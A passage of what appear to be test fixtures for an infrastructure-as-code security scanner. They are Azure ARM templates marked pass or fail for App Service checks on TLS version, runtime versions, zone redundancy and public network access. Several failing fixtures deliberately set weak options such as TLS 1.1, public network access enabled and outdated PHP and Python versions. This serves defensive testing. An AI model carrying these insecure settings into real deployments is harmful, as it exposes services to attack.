"kind": "app", "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]" ], "identity": { "type": "SystemAssigned" }, "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]", "siteConfig": { "linuxFxVersion": "[parameters('linuxFxVersion')]", "http20Enabled": false, "minTlsVersion": "1.1" }, "clientCertEnabled": true } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceMinTLSVersion/appServiceMinTLSVersion-FAILED3.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue" : "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku":{ "type": "string", "defaultValue" : "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion" : { "type": "string", "defaultValue" : "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/serverfarms", "apiVersion": "2018-02-01", "name": "[variables('appServicePlanName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]" }, "kind": "linux", "properties":{ "reserved":true } }, { "type": "Microsoft.Web/sites", "apiVersion": "2018-11-01", "name": "null", "location": "[parameters('location')]", "kind": "app", "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]" ], "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]", "siteConfig": null } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceMinTLSVersion/appServiceMinTLSVersion-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue" : "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku":{ "type": "string", "defaultValue" : "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion" : { "type": "string", "defaultValue" : "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/serverfarms", "apiVersion": "2018-02-01", "name": "[variables('appServicePlanName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]" }, "kind": "linux", "properties":{ "reserved":true } }, { "type": "Microsoft.Web/sites", "apiVersion": "2018-11-01", "name": "tls-12", "location": "[parameters('location')]", "kind": "app", "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]" ], "identity": { "type": "SystemAssigned" }, "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]", "siteConfig": { "linuxFxVersion": "[parameters('linuxFxVersion')]", "http20Enabled": "true", "minTlsVersion": "1.2" }, "clientCertEnabled": true } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceMinTLSVersion/appServiceMinTLSVersion-PASSED2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue" : "AzureLinuxApp2", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku":{ "type": "string", "defaultValue" : "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion" : { "type": "string", "defaultValue" : "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/serverfarms", "apiVersion": "2018-02-01", "name": "[variables('appServicePlanName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]" }, "kind": "linux", "properties":{ "reserved":true } }, { "type": "Microsoft.Web/sites", "apiVersion": "2018-11-01", "name": "tls-13", "location": "[parameters('location')]", "kind": "app", "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]" ], "identity": { "type": "SystemAssigned" }, "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]", "siteConfig": { "linuxFxVersion": "[parameters('linuxFxVersion')]", "http20Enabled": "true", "minTlsVersion": "1.3" }, "clientCertEnabled": true } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServicePHPVersion/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2022-09-01", "name": "fail", "location": "[resourceGroup().location]", "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', 'example-app-service-plan')]", "httpsOnly": true, "siteConfig": { "phpVersion": "7.4", "scmType": "someValue" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServicePHPVersion/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2021-02-01", "name": "pass", "location": "[resourceGroup().location]", "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', 'example-app-service-plan')]", "httpsOnly": true, "siteConfig": { "phpVersion": "8.1", "scmType": "someValue" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServicePlanZoneRedundant/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Web/serverfarms", "apiVersion": "2021-02-01", "name": "fail", "location": "[resourceGroup().location]", "properties": { "zoneRedundant": false, "resourceGroupName": "[resourceGroup().name]", "osType": "Linux", "sku": { "name": "P1v2" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServicePlanZoneRedundant/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Web/serverfarms", "apiVersion": "2021-02-01", "name": "fail2", "location": "[resourceGroup().location]", "properties": { "resourceGroupName": "[resourceGroup().name]", "osType": "Linux", "sku": { "name": "P1v2" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServicePlanZoneRedundant/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Web/serverfarms", "apiVersion": "2021-02-01", "name": "pass", "location": "[resourceGroup().location]", "properties": { "zoneRedundant": true, "resourceGroupName": "[resourceGroup().name]", "osType": "Linux", "sku": { "name": "P1v2" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServicePublicAccessDisabled/configFail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Web/sites/config", "apiVersion": "2021-02-01", "name": "configFail", "location": "[resourceGroup().location]", "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', 'exampleServicePlan')]", "publicNetworkAccess": "Enabled" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServicePublicAccessDisabled/configPass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Web/sites/config", "apiVersion": "2021-02-01", "name": "configPass", "location": "[resourceGroup().location]", "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', 'exampleServicePlan')]", "publicNetworkAccess": "Disabled" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServicePublicAccessDisabled/linuxDefault.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2021-02-01", "name": "linuxDefault", "location": "[resourceGroup().location]", "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', 'exampleServicePlan')]" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServicePublicAccessDisabled/linuxFail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2021-02-01", "name": "linuxFail", "location": "[resourceGroup().location]", "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', 'exampleServicePlan')]", "publicNetworkAccess": "Enabled" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServicePublicAccessDisabled/linuxPass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2021-02-01", "name": "linuxPass", "location": "[resourceGroup().location]", "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', 'exampleServicePlan')]", "publicNetworkAccess": "Disabled" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServicePublicAccessDisabled/slotFail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Web/sites/slots", "apiVersion": "2021-02-01", "name": "slotFail", "location": "[resourceGroup().location]", "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', 'exampleServicePlan')]", "publicNetworkAccess": "Enabled" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServicePublicAccessDisabled/slotPass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Web/sites/slots", "apiVersion": "2021-02-01", "name": "slotPass", "location": "[resourceGroup().location]", "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', 'exampleServicePlan')]", "publicNetworkAccess": "Disabled" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServicePublicAccessDisabled/windowsDefault.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2021-02-01", "name": "windowsDefault", "location": "[resourceGroup().location]", "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', 'exampleServicePlan')]" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServicePublicAccessDisabled/windowsFail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2021-02-01", "name": "windowsFail", "location": "[resourceGroup().location]", "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', 'exampleServicePlan')]", "publicNetworkAccess": "Enabled" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServicePublicAccessDisabled/windowsPass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2021-02-01", "name": "windowsPass", "location": "[resourceGroup().location]", "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', 'exampleServicePlan')]", "publicNetworkAccess": "Disabled" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServicePythonVersion/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "fail", "version": "0.25.53.49325", "templateHash": "16144177164140676603" } }, "parameters": { "webAppName": { "type": "string", "defaultValue": "[format('webApp-{0}', uniqueString(resourceGroup().id))]", "minLength": 2, "metadata": { "description": "Web app name." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "sku": { "type": "string", "defaultValue": "F1", "metadata": { "description": "The SKU of App Service Plan." } }, "language": { "type": "string", "defaultValue": ".net", "allowedValues": [ ".net", "php", "node", "html" ], "metadata": { "description": "The language stack of the app." } }, "helloWorld": { "type": "bool", "defaultValue": false, "metadata": { "description": "true = deploy a sample Hello World app." } }, "repoUrl": { "type": "string", "defaultValue": "", "metadata": { "description": "Optional Git Repo URL" } } }, "variables": { "appServicePlanPortalName": "[format('AppServicePlan-{0}', parameters('webAppName'))]", "gitRepoReference": { ".net": "https://github.com/Azure-Samples/app-service-web-dotnet-get-started", "node": "https://github.com/Azure-Samples/nodejs-docs-hello-world", "php": "https://github.com/Azure-Samples/php-docs-hello-world", "html": "https://github.com/Azure-Samples/html-docs-hello-world" }, "gitRepoUrl": "[if(bool(parameters('helloWorld')), variables('gitRepoReference')[toLower(parameters('language'))], parameters('repoUrl'))]", "configReference": { ".net": { "comments": ".Net app. No additional configuration needed." }, "html": { "comments": "HTML app. No additional configuration needed." }, "php": { "phpVersion": "7.4" }, "node": { "appSettings": [ { "name": "WEBSITE_NODE_DEFAULT_VERSION", "value": "12.15.0" } ] } } }, "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2022-09-01", "name": "fail", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "kind": "string", "extendedLocation": { "name": "string" }, "identity": { "type": "string", "userAssignedIdentities": {} }, "properties": { "clientAffinityEnabled": "bool", "clientCertEnabled": "bool", "clientCertExclusionPaths": "string", "clientCertMode": "string", "cloningInfo": { "appSettingsOverrides": {}, "cloneCustomHostNames": "bool", "cloneSourceControl": "bool", "configureLoadBalancing": "bool", "correlationId": "string", "hostingEnvironment": "string", "overwrite": "bool", "sourceWebAppId": "string", "sourceWebAppLocation": "string", "trafficManagerProfileId": "string", "trafficManagerProfileName": "string" }, "containerSize": "int", "customDomainVerificationId": "string", "dailyMemoryTimeQuota": "int", "enabled": "bool", "hostingEnvironmentProfile": { "id": "string" }, "hostNamesDisabled": "bool", "hostNameSslStates": [ { "hostType": "string", "name": "string", "sslState": "string", "thumbprint": "string", "toUpdate": "bool", "virtualIP": "string" } ], "httpsOnly": "bool", "hyperV": "bool", "isXenon": "bool", "keyVaultReferenceIdentity": "string", "managedEnvironmentId": "string", "publicNetworkAccess": "string", "redundancyMode": "string", "reserved": "bool", "scmSiteAlsoStopped": "bool", "serverFarmId": "string", "siteConfig": { "acrUseManagedIdentityCreds": "bool", "acrUserManagedIdentityID": "string", "alwaysOn": "bool", "apiDefinition": { "url": "string" }, "apiManagementConfig": { "id": "string" }, "appCommandLine": "string", "appSettings": [ { "name": "string", "value": "string" } ], "autoHealEnabled": "bool", "autoHealRules": { "actions": { "actionType": "string", "customAction": { "exe": "string", "parameters": "string" }, "minProcessExecutionTime": "string" }, "triggers": { "privateBytesInKB": "int", "requests": { "count": "int", "timeInterval": "string" }, "slowRequests": { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" }, "slowRequestsWithPath": [ { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" } ], "statusCodes": [ { "count": "int", "path": "string", "status": "int", "subStatus": "int", "timeInterval": "string", "win32Status": "int" } ], "statusCodesRange": [ { "count": "int", "path": "string", "statusCodes": "string", "timeInterval": "string" } ] } }, "autoSwapSlotName": "string", "azureStorageAccounts": {}, "connectionStrings": [ { "connectionString": "string", "name": "string", "type": "string" } ], "cors": { "allowedOrigins": [ "string" ], "supportCredentials": "bool" }, "defaultDocuments": [ "string" ], "detailedErrorLoggingEnabled": "bool", "documentRoot": "string", "elasticWebAppScaleLimit": "int", "experiments": { "rampUpRules": [ { "actionHostName": "string", "changeDecisionCallbackUrl": "string", "changeIntervalInMinutes": "int", "changeStep": "int", "maxReroutePercentage": "int", "minReroutePercentage": "int", "name": "string", "reroutePercentage": "int" } ] }, "ftpsState": "string", "functionAppScaleLimit": "int", "functionsRuntimeScaleMonitoringEnabled": "bool", "handlerMappings": [ { "arguments": "string", "extension": "string", "scriptProcessor": "string" } ], "healthCheckPath": "string", "http20Enabled": "bool", "httpLoggingEnabled": "bool", "ipSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "ipSecurityRestrictionsDefaultAction": "string", "javaContainer": "string", "javaContainerVersion": "string", "javaVersion": "string", "keyVaultReferenceIdentity": "string", "limits": { "maxDiskSizeInMb": "int", "maxMemoryInMb": "int", "maxPercentageCpu": "int" }, "linuxFxVersion": "string", "loadBalancing": "string", "localMySqlEnabled": "bool", "logsDirectorySizeLimit": "int", "managedPipelineMode": "string", "managedServiceIdentityId": "int", "metadata": [ { "name": "string", "value": "string" } ], "minimumElasticInstanceCount": "int", "minTlsVersion": "string", "netFrameworkVersion": "string", "nodeVersion": "string", "numberOfWorkers": "int", "phpVersion": "string", "powerShellVersion": "string", "preWarmedInstanceCount": "int", "publicNetworkAccess": "string", "publishingUsername": "string", "push": { "kind": "string", "properties": { "dynamicTagsJson": "string", "isPushEnabled": "bool", "tagsRequiringAuth": "string", "tagWhitelistJson": "string" } }, "pythonVersion": "3.4", "remoteDebuggingEnabled": "bool", "remoteDebuggingVersion": "string", "requestTracingEnabled": "bool", "requestTracingExpirationTime": "string", "scmIpSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "scmIpSecurityRestrictionsDefaultAction": "string", "scmIpSecurityRestrictionsUseMain": "bool", "scmMinTlsVersion": "string", "scmType": "string", "tracingOptions": "string", "use32BitWorkerProcess": "bool", "virtualApplications": [ { "physicalPath": "string", "preloadEnabled": "bool", "virtualDirectories": [ { "physicalPath": "string", "virtualPath": "string" } ], "virtualPath": "string" } ], "vnetName": "string", "vnetPrivatePortsCount": "int", "vnetRouteAllEnabled": "bool", "websiteTimeZone": "string", "webSocketsEnabled": "bool", "windowsFxVersion": "string", "xManagedServiceIdentityId": "int" }, "storageAccountRequired": "bool", "virtualNetworkSubnetId": "string", "vnetContentShareEnabled": "bool", "vnetImagePullEnabled": "bool", "vnetRouteAllEnabled": "bool" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServicePythonVersion/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.25.53.49325", "templateHash": "16144177164140676603" } }, "parameters": { "webAppName": { "type": "string", "defaultValue": "[format('webApp-{0}', uniqueString(resourceGroup().id))]", "minLength": 2, "metadata": { "description": "Web app name." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "sku": { "type": "string", "defaultValue": "F1", "metadata": { "description": "The SKU of App Service Plan." } }, "language": { "type": "string", "defaultValue": ".net", "allowedValues": [ ".net", "php", "node", "html" ], "metadata": { "description": "The language stack of the app." } }, "helloWorld": { "type": "bool", "defaultValue": false, "metadata": { "description": "true = deploy a sample Hello World app." } }, "repoUrl": { "type": "string", "defaultValue": "", "metadata": { "description": "Optional Git Repo URL" } } }, "variables": { "appServicePlanPortalName": "[format('AppServicePlan-{0}', parameters('webAppName'))]", "gitRepoReference": { ".net": "https://github.com/Azure-Samples/app-service-web-dotnet-get-started", "node": "https://github.com/Azure-Samples/nodejs-docs-hello-world", "php": "https://github.com/Azure-Samples/php-docs-hello-world", "html": "https://github.com/Azure-Samples/html-docs-hello-world" }, "gitRepoUrl": "[if(bool(parameters('helloWorld')), variables('gitRepoReference')[toLower(parameters('language'))], parameters('repoUrl'))]", "configReference": { ".net": { "comments": ".Net app. No additional configuration needed." }, "html": { "comments": "HTML app. No additional configuration needed." }, "php": { "phpVersion": "7.4" }, "node": { "appSettings": [ { "name": "WEBSITE_NODE_DEFAULT_VERSION", "value": "12.15.0" } ] } } }, "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2022-09-01", "name": "pass", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "kind": "string", "extendedLocation": { "name": "string" }, "identity": { "type": "string", "userAssignedIdentities": {} }, "properties": { "clientAffinityEnabled": "bool", "clientCertEnabled": "bool", "clientCertExclusionPaths": "string", "clientCertMode": "string", "cloningInfo": { "appSettingsOverrides": {}, "cloneCustomHostNames": "bool", "cloneSourceControl": "bool", "configureLoadBalancing": "bool", "correlationId": "string", "hostingEnvironment": "string", "overwrite": "bool", "sourceWebAppId": "string", "sourceWebAppLocation": "string", "trafficManagerProfileId": "string", "trafficManagerProfileName": "string" }, "containerSize": "int", "customDomainVerificationId": "string", "dailyMemoryTimeQuota": "int", "enabled": "bool", "hostingEnvironmentProfile": { "id": "string" }, "hostNamesDisabled": "bool", "hostNameSslStates": [ { "hostType": "string", "name": "string", "sslState": "string", "thumbprint": "string", "toUpdate": "bool", "virtualIP": "string" } ], "httpsOnly": "bool", "hyperV": "bool", "isXenon": "bool", "keyVaultReferenceIdentity": "string", "managedEnvironmentId": "string", "publicNetworkAccess": "string", "redundancyMode": "string", "reserved": "bool", "scmSiteAlsoStopped": "bool", "serverFarmId": "string", "siteConfig": { "acrUseManagedIdentityCreds": "bool", "acrUserManagedIdentityID": "string", "alwaysOn": "bool", "apiDefinition": { "url": "string" }, "apiManagementConfig": { "id": "string" }, "appCommandLine": "string", "appSettings": [ { "name": "string", "value": "string" } ], "autoHealEnabled": "bool", "autoHealRules": { "actions": { "actionType": "string", "customAction": { "exe": "string", "parameters": "string" }, "minProcessExecutionTime": "string" }, "triggers": { "privateBytesInKB": "int", "requests": { "count": "int", "timeInterval": "string" }, "slowRequests": { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" }, "slowRequestsWithPath": [ { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" } ], "statusCodes": [ { "count": "int", "path": "string", "status": "int", "subStatus": "int", "timeInterval": "string", "win32Status": "int" } ], "statusCodesRange": [ { "count": "int", "path": "string", "statusCodes": "string", "timeInterval": "string" } ] } }, "autoSwapSlotName": "string", "azureStorageAccounts": {}, "connectionStrings": [ { "connectionString": "string", "name": "string", "type": "string" } ], "cors": { "allowedOrigins": [ "string" ], "supportCredentials": "bool" }, "defaultDocuments": [ "string" ], "detailedErrorLoggingEnabled": "bool", "documentRoot": "string", "elasticWebAppScaleLimit": "int", "experiments": { "rampUpRules": [ { "actionHostName": "string", "changeDecisionCallbackUrl": "string", "changeIntervalInMinutes": "int", "changeStep": "int", "maxReroutePercentage": "int", "minReroutePercentage": "int", "name": "string", "reroutePercentage": "int" } ] }, "ftpsState": "string", "functionAppScaleLimit": "int", "functionsRuntimeScaleMonitoringEnabled": "bool", "handlerMappings": [ { "arguments": "string", "extension": "string", "scriptProcessor": "string" } ], "healthCheckPath": "string", "http20Enabled": "bool", "httpLoggingEnabled": "bool", "ipSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "ipSecurityRestrictionsDefaultAction": "string", "javaContainer": "string", "javaContainerVersion": "string", "javaVersion": "string", "keyVaultReferenceIdentity": "string", "limits": { "maxDiskSizeInMb": "int", "maxMemoryInMb": "int", "maxPercentageCpu": "int" }, "linuxFxVersion": "string", "loadBalancing": "string", "localMySqlEnabled": "bool", "logsDirectorySizeLimit": "int", "managedPipelineMode": "string", "managedServiceIdentityId": "int", "metadata": [ { "name": "string", "value": "string" } ], "minimumElasticInstanceCount": "int", "minTlsVersion": "string", "netFrameworkVersion": "string", "nodeVersion": "string", "numberOfWorkers": "int", "phpVersion": "string", "powerShellVersion": "string", "preWarmedInstanceCount": "int", "publicNetworkAccess": "string", "publishingUsername": "string", "push": { "kind": "string", "properties": { "dynamicTagsJson": "string", "isPushEnabled": "bool", "tagsRequiringAuth": "string", "tagWhitelistJson": "string" } }, "pythonVersion": "3.10", "remoteDebuggingEnabled": "bool", "remoteDebuggingVersion": "string", "requestTracingEnabled": "bool", "requestTracingExpirationTime": "string", "scmIpSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "scmIpSecurityRestrictionsDefaultAction": "string", "scmIpSecurityRestrictionsUseMain": "bool", "scmMinTlsVersion": "string", "scmType": "string", "tracingOptions": "string", "use32BitWorkerProcess": "bool", "virtualApplications": [ { "physicalPath": "string", "preloadEnabled": "bool", "virtualDirectories": [ { "physicalPath": "string", "virtualPath": "string" } ], "virtualPath": "string" } ], "vnetName": "string", "vnetPrivatePortsCount": "int", "vnetRouteAllEnabled": "bool", "websiteTimeZone": "string", "webSocketsEnabled": "bool", "windowsFxVersion": "string", "xManagedServiceIdentityId": "int" }, "storageAccountRequired": "bool", "virtualNetworkSubnetId": "string", "vnetContentShareEnabled": "bool", "vnetImagePullEnabled": "bool", "vnetRouteAllEnabled": "bool" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServicePythonVersion/unknown.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "fail", "version": "0.25.53.49325", "templateHash": "16144177164140676603" } }, "parameters": { "webAppName": { "type": "string", "defaultValue": "[format('webApp-{0}', uniqueString(resourceGroup().id))]", "minLength": 2, "metadata": { "description": "Web app name." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "sku": { "type": "string", "defaultValue": "F1", "metadata": { "description": "The SKU of App Service Plan." } }, "language": { "type": "string", "defaultValue": ".net", "allowedValues": [ ".net", "php", "node", "html" ], "metadata": { "description": "The language stack of the app." } }, "helloWorld": { "type": "bool", "defaultValue": false, "metadata": { "description": "true = deploy a sample Hello World app." } }, "repoUrl": { "type": "string", "defaultValue": "", "metadata": { "description": "Optional Git Repo URL" } } }, "variables": { "appServicePlanPortalName": "[format('AppServicePlan-{0}', parameters('webAppName'))]", "gitRepoReference": { ".net": "https://github.com/Azure-Samples/app-service-web-dotnet-get-started", "node": "https://github.com/Azure-Samples/nodejs-docs-hello-world", "php": "https://github.com/Azure-Samples/php-docs-hello-world", "html": "https://github.com/Azure-Samples/html-docs-hello-world" }, "gitRepoUrl": "[if(bool(parameters('helloWorld')), variables('gitRepoReference')[toLower(parameters('language'))], parameters('repoUrl'))]", "configReference": { ".net": { "comments": ".Net app. No additional configuration needed." }, "html": { "comments": "HTML app. No additional configuration needed." }, "php": { "phpVersion": "7.4" }, "node": { "appSettings": [ { "name": "WEBSITE_NODE_DEFAULT_VERSION", "value": "12.15.0" } ] } } }, "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2022-09-01", "name": "unknown", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "kind": "string", "extendedLocation": { "name": "string" }, "identity": { "type": "string", "userAssignedIdentities": {} }, "properties": { "clientAffinityEnabled": "bool", "clientCertEnabled": "bool", "clientCertExclusionPaths": "string", "clientCertMode": "string", "cloningInfo": { "appSettingsOverrides": {}, "cloneCustomHostNames": "bool", "cloneSourceControl": "bool", "configureLoadBalancing": "bool", "correlationId": "string", "hostingEnvironment": "string", "overwrite": "bool", "sourceWebAppId": "string", "sourceWebAppLocation": "string", "trafficManagerProfileId": "string", "trafficManagerProfileName": "string" }, "containerSize": "int", "customDomainVerificationId": "string", "dailyMemoryTimeQuota": "int", "enabled": "bool", "hostingEnvironmentProfile": { "id": "string" }, "hostNamesDisabled": "bool", "hostNameSslStates": [ { "hostType": "string", "name": "string", "sslState": "string", "thumbprint": "string", "toUpdate": "bool", "virtualIP": "string" } ], "httpsOnly": "bool", "hyperV": "bool", "isXenon": "bool", "keyVaultReferenceIdentity": "string", "managedEnvironmentId": "string", "publicNetworkAccess": "string", "redundancyMode": "string", "reserved": "bool", "scmSiteAlsoStopped": "bool", "serverFarmId": "string", "siteConfig": { "acrUseManagedIdentityCreds": "bool", "acrUserManagedIdentityID": "string", "alwaysOn": "bool", "apiDefinition": { "url": "string" }, "apiManagementConfig": { "id": "string" }, "appCommandLine": "string", "appSettings": [ { "name": "string", "value": "string" } ], "autoHealEnabled": "bool", "autoHealRules": { "actions": { "actionType": "string", "customAction": { "exe": "string", "parameters": "string" }, "minProcessExecutionTime": "string" }, "triggers": { "privateBytesInKB": "int", "requests": { "count": "int", "timeInterval": "string" }, "slowRequests": { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" }, "slowRequestsWithPath": [ { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" } ], "statusCodes": [ { "count": "int", "path": "string", "status": "int", "subStatus": "int", "timeInterval": "string", "win32Status": "int" } ], "statusCodesRange": [ { "count": "int", "path": "string", "statusCodes": "string", "timeInterval": "string" } ] } }, "autoSwapSlotName": "string", "azureStorageAccounts": {}, "connectionStrings": [ { 